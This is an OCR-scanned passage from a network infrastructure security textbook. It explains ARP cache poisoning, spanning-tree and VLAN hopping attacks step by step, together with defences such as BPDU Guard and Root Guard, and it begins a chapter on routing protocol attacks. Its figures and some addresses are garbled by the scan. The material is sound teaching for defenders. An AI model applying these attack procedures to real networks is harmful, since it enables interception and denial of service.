MAC-R MAC-B MAC-C MAC-D

b. The ARP Reply packet sent from Host-B.

Fig. 2.3. Normal ARP interaction.
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Interface: 282.175.25.68 on Interface Bx18000003
Internet Address Physical Address Type
292.175.25.2 AA—dA-925-86-65—h5 dynamic
282.175.25.12 B8—40-a5—-h1-d8—F2 dynanic

202.175.25.13 08-02-a5-29-07-34 dynamic

Interface: 192.168.8.1 on Interface Bx1000684
Internet Address Physical Address Type
192.168.60.48 B8-8d-93-59-24-e8 dynamic

Fig. 2.4. The ARP command in Windows.

The ARP Poison Process

Since ARP does not require authentication, whenever a computer receives an ARP
reply, it will update its cache regardless of whether it has sent out an ARP request.
Therefore, one can easily poison other hosts by sending out an ARP Reply packet
with wrong information. Fig. 2.5 shows an example where Host-X is attacking

Host-A and Host-B.

1. Before the attack, the ARP caches of Host-A and Host-B contain the correct
mappings, as shown in Fig. 2.5a.

2. To poison the ARP cache of Host-A, Host-X sends Host-A an ARP Reply
packet with the wrong mapping: IP-B-to-MAC-X. Similarly, Host-X sends to
Host-B an ARP Reply with the wrong mapping: IP-A-to-MAC-X. Since ARP
does not require authentication, Host-A and Host-B believe that the mappings
are valid and update their ARP tables as usual. Now, their ARP caches are poi-
soned, as shown in Fig. 2.5b.

3. As a result, the traffic between Host-A and Host B will be redirected to flow

through Host-X first, instead of directly to each other. In this case, Host-x can
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intercept the traffic between them, even though they are connected using a

switch. See Fig. 2.5c.

Note that distance is not important for ARP poisoning. Even thought two hosts are
in different buildings, as long as they are in the same broadcast domain, one in the

same domain can poison their ARP caches using the method described above.

The attacker can perform the following attack with its cache poisoning.

Man-in-the-middle attack:
If Host-X re-routes packets to the correct destination in both directions, Host-A
and Host-B will not be aware that the traffic between them is being monitored (or

modified) by Host-X.

DoS attack:

If Host-X chooses not to re-route packets, it will launch a Denial of Service (DoS)
attack because Host-A and Host-B could not communicate with each other any-
more. However, since no traffic happens to Host-A and Host-B, the corresponding
entries in the ARP caches will be timeout. To keep denying of the service, Host-X
has to continue poisoning their ARP caches (i.e., repeat the above process) regu-

larly.

Hijacking:

In another case, Host-X could hijack the connection between Host-A and Host B.
Supposing Host-B is a server, when Host-X receives packets from Host-A, it then
injects his own packets to Host-A, pretending to be Host-B, the server. Now,
Host-X is taking control of the connection, and both Host-A and Host-B are not

aware of this.

Spoofing WAN Traffic:
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In a typical LAN, there is a default gateway (router) connecting the local hosts to
the Internet. To reach the hosts on the Internet, the hosts in the LAN send packets
to its default gateway (destination MAC = the gateway’s MAC). That gateway
then routes the packets to the next hop which then routes to its next hop. This
process goes on until the final destination is reached. When packets come back
form the Internet, the default gateway sends them to the correct hosts in the LAN
(by setting the correct destination MAC). Imagine that if one of the two hosts in
Fig. 2.5 is the default gateway. By performing the same attack, the attacker will be
able to sniff all of the host’s outgoing traffic to the Internet, which would include
the web site log in name and password.

ARP Cache ARP Cache
1 P-B MAC-B 1E-A MAC-A

Host-A Host-B
N IP-A IP-B
MAC-A MAC-B
a. The normal ARP cache.
ARP Cache ARP Cache
MAC-X MAC-X
L [ ] I
Host-A Host-B
IP-A 1P-B
% MAC-A % MAC-B

Ethernet Ethernet

Destination: MAC-RA Destination: MAC-B

Source: MAC-X Source: MAC-X

Type: ARP Type: ARP
RRP BEP

Opcode Reply Opcode Reply

Sender MAC MAC-X Sender MAC MAC-X

Sender IP IP-B @ Sender IP IP~A

Target MAC MRC-A x 4§ Host-X Target MAC MAC-B

Target 1P IP-& % 1P-X Target IP )

MAC-X
ARP Cache
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b. Host-X poisoned the ARP caches of Host-A and Host-B.

ARP Cache ARP Cache

I1P-B MAC-X IE-A MAC-X

It can make a man-
in-the-middle or 4

. Host-X
DoS attack \ IP-X
% MAC-X
ARP Cache
P-4 MAC-&
I1P-B MAC-B

c. Traffic between Host-A and Host-B will go through Host-X first.

Fig. 2.5. ARP spoofing.
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Limitations

However, there are a number of limitations of ARP attack.

1. ARP poisoning only works in the same broadcast domain, and therefore, it
cannot redirect traffic between hosts on different subnets or VLANs that sepa-
rates broadcast domain.

2. To sniff the traffic between two hosts, the attacker must be able to reroute traf-
fic to the correct destinations in both directions. To reroute the traffic, the at-
tacker also needs to know the IP-MAC mappings of the hosts before the poison
process.

3. ARP poisoning only updates an existing record in the ARP cache. That is, the

record must be already present before the poison process.

Solutions

There are a number of solutions:

Static ARP Entries:

To prevent spoofing, the ARP cache can store static IP-MAC mappings. As the
entries are non-changing, any spoofed ARP replies will be ignored. This concept
works; however, requiring the ARP cache to always keep up-to-date IP-MAC
mappings of every computer on the network makes this solution impractical for

most networks.

Detection:

To detect possible ARP spoofing-based attack, the IP-MAC mappings for the ma-
chines on the network can be monitored. There are programs, such as ARPWatch
(http://www.securityfocus.com/tools/142), to do that. When any suspicious
changes of the mappings occur, the program will notify the administrator to inves-

tigate.
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No Cache Update:

A simple and practical solution is to only accept ARP replies and update the en-
tries in the cache when they are expired (after the timeout period). In this case, in
order to poison the ARP cache, the attacker has to send an ARP reply packet faster

than the legitimate host do, making the spoofing process difficult.

2.2.3 STP attacks

What is STP

Switches have been widely used to connect computers in LANs. For redundancy,
multiple switches and links are used. In this case, physical loop may exist in the
switched network. The Spanning Tree Protocol (STP), IEEE 802.1d, is used to
create and maintain a loop-free topology in the switched network. The loop-free
topology, or called spanning-tree topology, will be automatically reconfigured
when there are switch failures, link failures, or physical topology changes.

Note that since switches are considered as multi-port bridges and STP uses
the term bridge in the protocol specification, we mainly use the term bridge, in-
stead of the term switch, in this section.

The following discusses the basic of STP which is necessary to understand
the attacks discussed later this section. On the other hand, as Rapid Spanning Tree
Protocol (802.1w), the enhanced version of STP, suffers similar security attacks as

STP, it is not discussed in this section.

BPDU Types:
Bridges will regularly exchange Bridge Protocol Data Units (BPDUs), which con-
tain configuration information, between neighbors.

There are two types of BPDUs, as shown in Fig. 2.6:

1. Configuration BPDU (Type value = 0)
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2. Topology Change Notification (TCN) BPDU (Type value = 0x80)

In Configuration BPDU, there are two Flags: Topology Change (Bit 1) and
Topology Change Acknowledgement (Bit 8).

Topology-Change BPDU is similar to Configuration BPDU except that no
data is transmitted after the Type field. The functions of the above BPDU types

will be discussed later in this section.

2 1 1 1 8 4 8 2 2 2 2 2
Root Y
Proto 7 BPDU | .. Root Bridge Port Msg Max Hello Forward
Yer | .. Flags Path 5 = i
1)) Type D Cost 1D (1)) age age Time Delay

a. Configuration BPDU

2 1 1
Proto BPDU
ey Ver Type
b. TCN BPDU

Fig. 2.6. Formats of BPDUs

Bridge ID:

In a spanning tree network, each bridge has a unique Bridge ID, and each port of a
bridge is given a cost (based on bandwidth). A Bridge ID consists of a 2-byte
bridge priority and a 6-byte MAC address. The default priority is 32768.

Port State
Each port has a port state under STP. The possible states are listed below along

with the default timers that control the transition times.

1. Disabled—Administratively down and all frames discarded
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2. Blocking—BPDUs are received only (20 sec)

3. Listening—BPDUs are received and forwarded. (15 sec)
4. Learning—Bridging table is built (15 sec)
5

. Forwarding—User traffic is forwarded; BPDUs are forwarded.

At power up, all ports are disabled. They then go through from the blocking
state and the transitory states of listening and learning states. The ports finally sta-
bilize to the forwarding or blocking state. As can be seen, with the default timer,

the convergence time is 30 to 50 seconds.

STP Timer:

On the other hand, a number of timers are used in STP:

e Hello—2 sec (The time between periodic Configuration BPDU)
e Max Age—20 sec (controls the duration of the blocking state)
e Forward Delay—15 sec (the time spent by a port in the Listening and Learning

states)

How STP works
To construct a spanning tree topology, the bridges have to go through the follow-
ing steps:
Step 1. Electing a Root Bridge
Step 2. Electing Root Ports
Step 3. Electing Designated Ports
Step 4. Changing port states
We are going to explain the above steps one by one using the sample network

shown in Fig. 2.7.
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Bridge A
Bridge ID: 32768.AAAAA

100 Mbps

/4 :
0$ 10 Mbps —@

Bridge B Bridge C
Bridge ID: 32768.BBBBB Bridge ID: 32768.CCCCC

Fig. 2.7. A network consists of three bridges. Each of them has a connection with the others.

Step 1. Electing a Root Bridge:
A spanning tree network has one and only one Root Bridge. The bridge with the
smallest Bridge ID will be elected as Root Bridge. Therefore, Bridge ID is critical
in the root election. Bridge ID consists of a 2-byte bridge priority and a 6-byte
MAC address. The default priority is 32768.

How bridges know which bridge has the smallest Bridge ID is explained
below and illustrated in Fig. 2.8:

1. When the bridges in the network are power-up, all of the ports on the bridges
are in a blocking state. They are all listening for BPDUs.

2. At this time, they all think of themselves as Root Bridge, and mark the Root
IDs with their Bridge IDs. After that, each of them will send out Configuration
BPDU to announce that it is the root with a Hello Time periodicity. See Fig.
2.8a.
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3. Suppose that Bridge B is the first one to send out the BPDU with the Root ID
of 32768.BBBBB announcing that “I am the root.” See Fig. 2.8b.

4. When Bridge C receives that BPDU, its Root ID will change from
32768.CCCCC to 32768.BBBBB (agreeing that Bridge C is the root), because
Bridge B’s Root ID is smaller. However, when Bridge A receives the BPDU, it
will not change its Root ID because its Root ID (32768.AAAAA) is smaller
than Bridge B’s Root ID. At this point, both Bridges A and B considers them-
selves are the root. See Fig. 2.8b.

5. Assume that the next step is for Bridge A to send out BPDUs announcing that it
is the root.

6. When Bridges B and C receive the BPDU from Bridge A, they all accept
Bridge A is the root and change their Root IDs to 32768.AAAAA.

7. At this point, the A has been elected to be Root Bridge by all bridges, see Fig.
2.8c.

More technical information about the root identification: When a port re-
ceives a better BPDU (with smaller Bridge ID), it will stop sending out Configu-
ration BPDU on that port. Therefore, at the end, only one switch will continue

speaking, and the root election phase can then conclude that the one is the root.

Step 2. Electing Root Ports:
Each non-root bridge must elect a Root Port, which is the port providing the least

path cost (based on bandwidth) to the root.

1. By examining the Root Path Cost field of the BPDUs (see Fig. 2.6), Bridge B
knows its port 1 is the nearest to the root (port 1’s cost is 19 whereas port 2’s is

200). It then assigns port 1 as Root Port.
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Bridge A
Bridge ID: 32768 AAAAA
Root ID: 32768 AAAAA

2 ®

Bridge Bridge

Bridge 1D: 32768 BEBBB Bridge |D: 32768 CCCCC
Root ID: 32768 BEBEB Root 1D:  32768.CCCCC

a. All consider themselves are the Root.

Bridge |ID: 32768.AAAAA
Root 1D:

BPDU | Root [ = 32768, BBBBB

@ O
Bridge B Bridge C
Bridge ID: 32768.BBBEB Bridge ID: 32768.CCCCC
Root ID:  32768.BBBBEB Roat ID:  [32768. BEBBB

b. Both Bridges A and B consider themselves are the Root after Bridge B sends out its BPDU.

Bridge A
Bridge 1D: 32768 AAAAA
Root ID: 32768 .AAAAA

Bridge B Bridge C
Bridge ID: 32768,BBEER Bridge ID: 32768.CCCCC
Root ID: [32768.AAARA Root ID; [32768 AAAAA

c. All bridges agree that Bridge A is the Root Bridge.

Fig. 2.8. Electing a Root Bridge
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Step 3. Electing Designated Ports:
Each LAN segment must elect a Designated Port, which is the port providing the
least path cost from the segment to the Root. All traffic from a segment will be

forwarded to the Root via its corresponding Designated Port.

1. Segment 1 and Segment 2 elect Bridge A’s port 1 and port 2 as their Desig-
nated Ports respectively, because the two ports are closest to the Root in the
two segment (of course it is, as they are directly connected.)

2. Segment 3 chooses Bridge B’s port 2 as its designated port because it provides
smaller path cost (cost=19) than that Bridge C’s port 1 provides (cost=100).
See Fig. 2.9.

Step 4. Changing port states (forwarding and blocking):

Bridges set Root Ports and Designated Ports to forwarding state and set other
ports to blocking state. Bridges forward frames only between Root Port and Des-
ignated Ports for corresponding segments. The blocked ports will not be included
in the spanning tree topology. Although blocked ports discard user frames, they
still accept STP BPDUs.

1. Only Bridge C’s port 1, which is neither Root nor Designate Port, is blocked.
2. At this point the spanning tree has fully converged, and the topology is shown
in Fig. 2.10.

Step 5. Maintaining the spanning tree

In normal STP operations (see Fig. 2.11):

1. The Root Bridge periodically sends Configuration BPDUs, called Hello
BPUDs (cost of 0), through all its ports, at an interval called Hello Time. In
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other words, all non-root bridges keep receiving Hello BPDUs from Root
Bridge on its root port.
2. All non-root bridges then forward the Hello BPDUs out their designated ports.

Bridge A (Root Bridge)

Designated
Port Port
Segment 1 Segment 2
100 Mbps (cost 19) 10 Mbps (cost 100)

Roo g
paft Designated Port

0 Port
Segment 3
\ @ 10 Mbps (cost 100) _®

Bridge B Bridge C

Fig. 2.9. Root Port and Designated Port assignments.

Bridge A (Root Bridge)

Fig. 2.10. When the port states have been set, the spanning tree is converged.
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Bridge A (Root Bridge)

Designated
Port
')

Bridge B Bridge C

Fig. 2.11. Maintaining the spanning tree.

Topology Change

Failure to receive Hello BPDUs:

As mentioned above, all bridges keep receiving periodical Hello BPDUs from
Root Bridge. If a bridge does not receive a Hello BPDU for a period of time, de-
fined by a parameter called Max Age Time (20 seconds by default), it will assume
that either Root Bridge goes down, or the link to it is broken. In this case, it initi-
ates network topology reconfiguration by sending Topology Change Notification

(TCN) BPDUs.

Topology change:
When a bridge detects a topology change (such as a link goes down, and a port
transitions to forwarding state), it advertises the event to the whole bridged net-

work:

1. It first advertises Topology Change Notification (TCN) BPDUs on its root port
to its designated bridge. (This kind of BPDU is sent each hello interval until it

receives the acknowledgment from its upstream bridge.)
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2. After receiving the TCN BPDU, its designated bridge acknowledges it by re-
plying a Configuration BPDU with the TCA flag on. This bridge then generates
another TCN BPDU for its own root port to inform the upstream bridge.

3. This process continues until the TCN BPDU hits the Root Bridge. See Fig.
2.12a.

4. When the root receives the TCN BPDU, it then sets the topology change (TC)
flag in all Configuration BPDUs sent out downstream (for a period of Forward
Delay+MaxAge).

5. These Configuration BPDUs with TC flag on propagate the entire spanning
tree. As a result, all bridges become aware of this topology change. See Fig.
2.12b.

6. When the bridges detect the TC flag, they age out CAM table entries faster (by
using Forward Delay instead of the regular 300 seconds). The use of shorter
timeout is to avoid inconsistence in their CAM tables. Note that, during this pe-
riod, disconnects or temporary loops can occur. Only after the root clears the
TC flag, the (non-root) bridges resume their normal aging time (300 seconds)
and begin the learning and forwarding operations for the new topology. It takes
about 30-50 seconds to converge again. Later this section will show how at-

tackers can exploit this process.

STP Attack Scenarios

With the lack of authentication in the BPDU messages in STP, any host running
bridging software can participate in the spanning tree. For example, any Linux
computer can be configured as a software-based bridge by using the
BRIDGE-UTILS package. As can be seen, it is not difficult for an insider to send
out bogus BPDUs to attack the spanning tree. The following shows some of the

attacks.
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Fig. 2.12. Operations of topology change

Root claim and MITM:

43

By sending a bogus BPDU with the lowest Bridge ID, the attacker station will be

elected as the new root bridge. This malicious root can accomplish different kinds

of attacks.
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In this way, the new root can sniff all frames passing through it, as it is in the
“middle” of the spanning tree network. As mentioned before, this new root can be
any host running bridge software, e.g., a Linux computer, and therefore, it is not
difficult for that host to further process the sniffed frames to snoop any sensitive
information such as passwords.

On the other hand, if it deliberately ignores TCNs, the bridges in the net-
work will not adjust to any new network change. In this case, the spanning tree

network no longer guarantees a loop-free topology.

Eternal root election:
Another way to cause the network unstable is to force the network to keep select-

ing root. To do that,

1. The attacker first learns the identifier of the root bridge, root_id. It can be done
by using a sniffer to monitor the periodical configuration BPDUs from the root
bridge, which contains its identifier.

2. 2. Then, it injects a BPDU with the identifier id=root_id-1 (just lower than the
existing root bridge’s id) into the network. It will cause a root election to elect
itself.

3. After the election process, the attacker sends into the network another BPDU
with the identifier id=id-1. This will cause another time of root election.

4. The attacker keeps doing this.

5. When the id reaches its lowest value, the attacker can use the value calculated

at the beginning of attack, and repeat the above process again.

As a result, the network will always be in the root election process, and the ports
of the bridges will never become forwarding state, making the network unstable,

and even disable.

Persistent TCN messages:
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As mentioned before, a TCN BPDU from a bridge can cause the root to broadcast
BPDUs with the TC flag on, and upon receiving that, non-root bridges will age out
their CAM tables more quickly.

Therefore, by sending a steady stream of TCNs, an attacker can cause every
bridge of the network to age out continuously. This could cause path loops and
drop the network into an unusable state. Please be reminded that the attacker’s
bridge can be just a computer running a software bridge, or a computer with a

packet injection tool.

Affecting network performance:

By gaining the root role in the tree, an attacker could change the traffic flow in the
switched network. For example, in Fig. 2.13, the switches in the core layer have
much higher bandwidth than that in the access layer. If the computer under the
access switch runs a bridge application and claims that it is the root (by advertis-
ing a BPDU with lowest bridge ID), the spanning tree will be reconstructed, and
finally, the Gigabit link will be blocked. In this case, all the data will flow through

the 100Mbps link, and the network performance will be substantially deteriorated.

Root
Core |Gt
layer — 1Lbps
ye
\ i

100MbyX 100Mbps
Access 5( .
ey blocking

&

Fig. 2.13. Changing traffic flow.
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Countermeasures

BPDU Guard:
As can be seen, without authentication, any host running bridge application can
easily participates in the spanning tree and take over the root role.

The Portfrast BPDU Guard feature, one of the STP enhancements created by
Cisco, is designed to defense against STP attacks. BPDU Guard is configured on a
per-port basis. Administrators can enable one or more ports of a switch to be
BPDU guarded. The ports with BPDU Gaurd enabled do not allow the hosts be-
hind them to send BPDU. As soon as those ports receive BPDU, they will be
blocked. Without being able to send BPDUs, the hosts behind the BPDU Guard
ports cannot affect the active STP topology. Those hosts can only receive and send

normal data frames. See Fig. 2.14.

Fig. 2.14. The ports with BPDU Guard block BPDUs from the hosts behind them.
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Root Guard:
Root Guard is another STP enhancement created by Cisco. It is used to enforce the
root bridge placement in the network.

When an attack takes over the root role in the network, the tree topology
changes and the ports of the bridges in the network will be reconfigured appropri-
ately. For example, in Fig. 2.15, the new root makes the port 3 of Bridge C change
from Designate Port to Root Port.

Root Guard can prevent the above attack. It is also configured on a per-port
basis. The ports with Root Guard enabled cannot become Root Ports, and must be
Designated Ports. If these ports receive superior BPDUs, they will be moved to a
root-inconsistent STP state (instead of becoming Root Ports) and no traffic will be
forwarded across them.

Therefore, if the port 3 of Bridge C is enabled with Root Guard, it cannot
become a Root Port, thus preventing the attacker from becoming the new root. As
a result, the position of the original root bridge (Bridge A) is enforced.

Note that, to successfully enforce the root bridge placement in the network,

Root Guard has to be enabled on all ports where the root bridge should not appear.
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Bridge A (Root Bridge)

Designate Designate
Port Port
Root Root
Port : Port
Blocking
. signate ZE : i a i On
Bridge B Pi-. Bri esignate
ort Port
a. Normal situration.
Bridge A
[)ecignme/® Root
3
Port > Port

7
/7

Blocking Designate

% ® Port
0ot Designate Root

Bridge B Post Dos Bridge C Port
(Root Bridge) :
Attacker

b. The port 3 of Bridge C becomes a Root Port after attacking.

Fig. 2.15. The attacker takes over the root bridge.
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2.2.4 VLAN attacks

What is VLAN

A Virtual LAN (VLAN) is a logical group of network stations and devices. A
switch can be partitioned into multiple VLANSs. Although the VLANSs are in the
same switch, they are isolated. That is, they have their own broadcast domains,
and the computers in a VLAN are restricted to communicate with the computers in
the same VLAN. Different VLANs cannot communicate without the use of a
router and network layer addresses. VLANs are especially useful in creating
workgroups where users share the same resources, such as databases and disk
storage. For example, users in the Marketing department are placed in the Mar-
keting VLAN, whereas users in the Engineering Department are placed in the En-
gineering VLAN, as shown in Fig. 2.16.

VLANSs provides many advantages including:

Ease network administration:
VLAN:S facilitate easy assignment of logical groups of computers, and easy modi-
fications of the groups. These can be done by simply configuring the switch ports

without the physical movement of the computers.

Improved bandwidth usage:
Users in the same workgroup share the similar resources such as databases and
disk storage. If workgroups can be isolated, the traffic within each workgroup will

not affect the traffic of others, making better usage of bandwidth.

Blocking broadcast traffic.
All the computers connected to a switch share the same broadcast domain. How-
ever, some broadcasts are only useful to some stations. For example, Novell

broadcast frames target only the hosts running Novel software only. With VLANS,
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different groups have their own broadcast domain, which can prevent broadcasts

from reaching unrelated computers.

Engineering Group  ________

e P R ~
-~ s a3 ~
’ Engineering Group N
VLAN 1 ;’ \
\
\

Marketing Group

a. Without VLAN b. With VLAN

Fig. 2.16. The VLANSs in a switch are logically isolated.

How VLAN works

A single switch:

As mention before, VLANSs in a switch are isolated and have their own broadcast
domain. The switch achieves this isolation by maintaining a separate bridging ta-
ble for each VLAN. When the switch receives a broadcast frame from a port, it
first checks the bridging table of the VLAN to which the frame belongs, and then
broadcasts the frame to the ports belonging to the same VLAN only.

Trunking
Switches can be connected together to extend the size of VLANSs. Fig. 2.17a. il-

lustrates two VLANSs shared across two switches. In the example, two physical
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links are used, one for each VLAN. If there is an additional VLAN, one more
dedicated physical link will be needed to implement the inter-switch VLAN. This
way is apparently un-scalable.

To overcome the problem, trunking is used. A trunk link bundles the traffic
of multiple VLANS to travel over a single physical link, as shown in Fig. 2.17b.
The switch administrator has to configure a port as a frunk port to make the link to
which it is connected become a truck link. Note that a trunk link does not belong
to any VLAN and only serves as a conduit purpose. As can be seen, the use of
trunk links conserves ports and scales well when implementing inter-switch

VLAN.

VLAN 1 VLAN 1 VLAN 1

AN 2 VLAN 2 ; VLAN

a. With out Trunking

VLAN 1 and VLAN 2

b. With Trunking

Fig. 2.17. The use of trunking can conserve ports.
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Frame Tagging:

As a trunk link carries the traffic of multiple VLANS, to identify which VLAN a
frame coming from a trunk port belongs to, a frame tagging scheme is used.
Among existing schemes, IEEE 802.1Q is the most common. It achieves the iden-
tification by adding an extra field, VLAN ID, in each data frame, as shown below.
This field is examined and understood by the switch with a trunk link. The tagged
frame only exists in the trunk links and switches will remove the extra field before

the frame is transmitted to the target station.

Ethernet | Start | Dest Src | VLAN | Data End
frame MAC Mac | ID

The following describes the operation of frame tagging using the example shown

in Fig. 2.18:

1. Each switch maintains a separate bridging table for each VLAN.

2. When a switch receives a frame from a port, it will first check the bridging ta-
ble of the VLAN to which the port belongs to see if the targeted computer is
attached to the same switch or not. In the example, the incoming frame is from
port 1 which belongs to VLAN 20.

3. If so, the switch performs the connection internally between the source and
targeted stations.

4. 4If otherwise, the frame will be added an IEEE 802.1Q tag which designates
the VLAN membership of the frame (i.e., VLAN 20).

5. The tagged frame will be forwarded to the adjacent switch via the trunk link.

6. When the frame is received, the switch examines and removes the tag before

forwarding it to the corresponding end computer.
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It is important to know that IEEE 802.1Q introduces the concept of a native VLAN
on a trunk. All frames belonging to a native VLAN (VLANI by default) will not
be tagged.

Fig. 2.18. Frame tagging.

VLAN Hopping Attacks
VLANS are used to separate subnets or zones. If one manages to send across dif-
ferent zones (hopping), it will make such VLAN separations useless. This kind of
attack is called VLAN hopping. These attacks can be dangerous. For example, two
VLANs implements two security levels: low and high. With these attacks, one
machine in the low security VLAN could initiate denial of service attacks against
the machines in the high security VLAN.

This section discussed two attacks: Basic Hopping VLAN Attack and Dou-
ble 802.1q tagging attack. Other VLAN attacks exist (see [1]), including VLAN

Trunking Protocol attack, media access control attack, and private VLANs attack.

Attacks making use of the autotrunking mode:

Though VLANSs are isolated, it is possible to force frames to hop VLANS, that is,
to cause traffic from one VLAN to be seen by another VLAN without crossing a
router. One simple way to do that is to introduce a rogue switch and connect it to

one of the real switches. When the rogue switch turns trunking on, the switch in
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the other side will now think that it is another switch needs to trunk and then turn
its port (connected to the attacker) trunking on too. It establishes a trunk link be-
tween the rogue and real switches. Now, the attacker can receive frames from and
send frames to other VLANs through the compromised trunk port. It is illustrated
in Fig. 2.19.

The real switch is so “cooperative” because the default mode for most
switch ports are autotrunking, i.e., when a switch knows another side is trunking
on, it will automatically set trunking on as well. The autotrunking mode is in-
tended to ease the process of configuring switches by automatically negotiating
trunking on a link between two switches (using the Dynamic Trunking Protocol).

Making it worse, the introduction of a rogue switch is not difficult. As men-
tioned before, any computer running a bridge software package can become a
switch and participate in the switched network. The recent Linux operating sys-
tems include the support of becoming a switch with VLAN features.

As can be seen, this VLAN hopping attack makes use of the ports with de-
fault autotrunking mode. Manually turning trunking off on all ports without a spe-
cific need to trunk can mitigate this attack. For example, the trunking on all ports

except port 2 of Switch A in Fig. 2.19 should be turned off.

Fig. 2.19. VLAN hopping.
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Attacks using double tagging

VLAN hopping can still be possible even trunking is turned off on all ports with-
out a specific need to trunk. Double tagging is one tricky way to do that. As men-
tioned before, a switch will add a tag (e.g., IEEE 802.1Q) to each frame before
sending it to the trunk link. If an attacker adds two tags instead of one to each
frame, it will be able to achieve VLAN hopping. We use Fig. 2.20 as the example

to illustrate this.

1. The attacker injects a double-tagged 802.1Q frame to Switch A. The outer tag
shows the attacker’s VLAN, i.e., VLAN 1, which is assumed to be same as the
native VLAN of the trunk, whereas the inner tag shows the victim’s VLAN, i.e.,
VLAN 2.

2. When Switch A receives the frame, it removes the first tag only (because it
does not aware there is an second tag). After that, it sends out the frame (with
the second tag) on the trunk port.

3. When Switch B receives the frame, it examines the first tag, which is the inner
tag the attacker sent, and finds that the frame is targeted on VLAN 2. After ex-

tracting the tag, Switch B sends the raw frame to the victim port.
The conditions must be met for this attack to succeed are:

e The attacker and victim must be on different switches.

e The attacker knows the victim station’s MAC address in advance.

e The attacker has the same native VLAN as the trunk link. For example, ports 1
and 2 both belong to VLAN 1 which is native VLAN by default.

For the above attack, you might have the following wonders:

1. Why does Switch A accept tagged frames from the attacker on a port (e.g., port
1 in Fig. 2.10) that is not trunking in the first place? It is because if a switch

supports frame priority (for QoS purpose), it must support frames with 802.1p
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tag that is part of the 802.1q tag. Nonetheless, frame priority and 802.1p tag is
beyond the scope of this section.

2. Why does not Switch A add an additional tag to the frame when sending out to
the trunk? The reason is that Switch A will not add an additional tag to frames
belonging to native VLAN.

3. Why does not Switch A examine incoming frames to see if they have more
than one tags? Though this idea conceptually works, most switches are hard-

ware optimized to look for one tag only, making this solution impractical.

There are some ways to quick fix. In the administrative aspect, this attack can be
easily avoided by not using native VLANSs for trunk ports. On the other hand,
some high-end model of Cisco switches provides the 802.1g-all-tagged feature,

which requires tagging of all the egress frames on a 802.1q trunk including those

on the native VLAN. It avoids the above VLAN hopping attack.

mZer = Suitch A it \
T [ | &

Fig. 2.20. Example of double tagging attack.
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3. Network Infrastructure Security — Routing

This chapter is devoted to router attacks that are mostly achieved by the exploita-
tion routing protocols. Before the description of attacks and countermeasures, it
first reviews the fundamental of routing protocols and the types of attacks. The
protocols being exploited in this chapter include Routing Information Protocol

(RIP), Open Shortest Path First (OSPF), and Border Gateway Protocol (BGP).

3.1 Introduction

3.1.1 Routing basic

Network layer
The network layer (layer 3) of the OSI model provides routing functions and es-
tablishes the route between the source and destination through intermediary nodes.

The nodes are typically routers.

Router

A router is connected to at least two networks, and forwards data packets from a
network to another. When it receives an incoming packet, it decides the next
router (hop) to which the packet should be forwarded towards its destination. The
next router then repeats this process, and so on until the packet reaches its final

destination.

Routing table
The routing decision is based on the information in the routing table in a router. A

routing table maintains the best routes to various network destinations. As can be

A. Wong and A. Yeung, Network Infrastructure Security, 59
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seen, the construction of routing tables is very important for efficient routing, and
any corruption of the table may lead to significant routing problems.

Fig. 3.1 shows an example of routing table that contains the information for
two external networks (1.0.0.0/8 and 2.0.0.0/8). According to the table, the pack-
ets destined for network 1.0.0.0/8 will be forwarded to the 3.0.0.2 router (through
its Serial0 interface), whereas those destined for 2.0.0.0/8 will be forwarded to the

5.0.0.2 router (through Seriall).

Routing protocol

To create and maintain a routing table, a router communicates with other routers
using routing protocols. A routing protocol allows routers to share information
about networks and their proximity to each other.

The routing protocol running in a router will learn all available paths to a
network (based on the information advertised from different routers), but only de-
termine the best path to be stored in the routing table. Whenever the topology of a
network changes (e.g., a new link is added or removed), the routing protocol will
determine another best path (if needed) and update the routing table accordingly
for the routing in the updated topology.

The common routing protocols include Routing Information Protocol (RIP),
Open Shortest Path First (OSPF), and Border Gateway Protocol (BGP). As can be
seen in Fig. 3.1, the two external networks (1.0.0.0/8 and 2.0.0.0/8) shown in the

routing table are marked with “R”, meaning that they are learnt by RIP.
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RouterA#fshow ip route

Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area
N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
E1 - OSPF external type 1, E2 - OSPF external type 2
i - 1S-1S, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
ia - I1S-IS inter area, * - candidate default, U - per-user static route
o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

R 1.0.0.0/8 [120/1] via 3.0.0.2, 00:00:20, Serial0/0/0
R 2.0.0.0/8 [120/1] via 5.0.0.2, 00:00:20, Serial0/0/1
C 3.0.0.0/8 is directly connected, Serial0/0/0

C 5.0.0.0/8 is directly connected, Serial0/0/1

RouterA#

Fig. 3.1. An example of routing table in a Cisco router.

3.1.2 Routing protocol vulnerability

The success of routing operations highly depends on the correct operations of
routing protocols. If the routing update messages sent by the routing protocols are
maliciously modified or deleted, the routing table may contain wrong entries that
could result in the breakdown of one or more domains of the Internet. Unfortu-
nately, existing routing protocols are not well protected and subject to various
kinds of attack. It is because routing protocols, similar to many other Internet pro-
tocols, were designed in a more beginning era in the Internet, and assumed to be
run in a trustful environment.

The primary source of vulnerability of routing protocols is the lack of veri-
fication of routing information. To make efficient routing, routers have to acquire
the overall picture of the network topology. To achieve that, they periodically ex-
change information with their neighbors about their resources (e.g., the connected
networks and the corresponding bandwidth). However, with the existing routing

protocols, the routers are unable to verify the correctness of the information they
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receive from their neighbors. Therefore, injected bogus routing information would
propagate from one router to another one deceiving the routers throughout the
network.

When layer 3 is attacked, it could be disastrous. It is much similar to the
case that the transportation services will be adversely affected when traffic lights
malfunction. When a server is attacked, only services on the server are affected.
However, when a router is attacked, it is possible that the whole network is af-

fected. Some of the consequences include:

Loop: Could be caused by incorrect routing advertisements.

Delay: When longer/slower route is incorrectly assumed to
be the optimal path.

Destination un- Packets may be redirected to a black hole.

reachable:

Link congestion:  Could be caused when a link is wrongly advertised
as having a higher bandwidth than its original value.

Network load: Loop and retransmissions increase the overall net-

work load.

This chapter focuses on the exploitation of routing protocols, launched at the net-
work layer (layer 3) of the OSI model. Please note that, though some routing pro-
tocols are operates over UDP or TCP (transport layer), logically, they are still
protocols belonging to the network layer as their main functionality is specific for
the network layer. Similarly, though most modern routers can now take into ac-
count the transport layer (layer 4) headers when deciding what to do with a packet,

they are designed for routing purpose and still regarded as network-layer devices.
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3.2 Overview of Internet Routing

3.2.1 Interior and Exterior routing protocols

AS

The Internet comprises a large number of interconnected heterogeneous routing
domains. Each domain is called an autonomous system (AS) and is essentially a
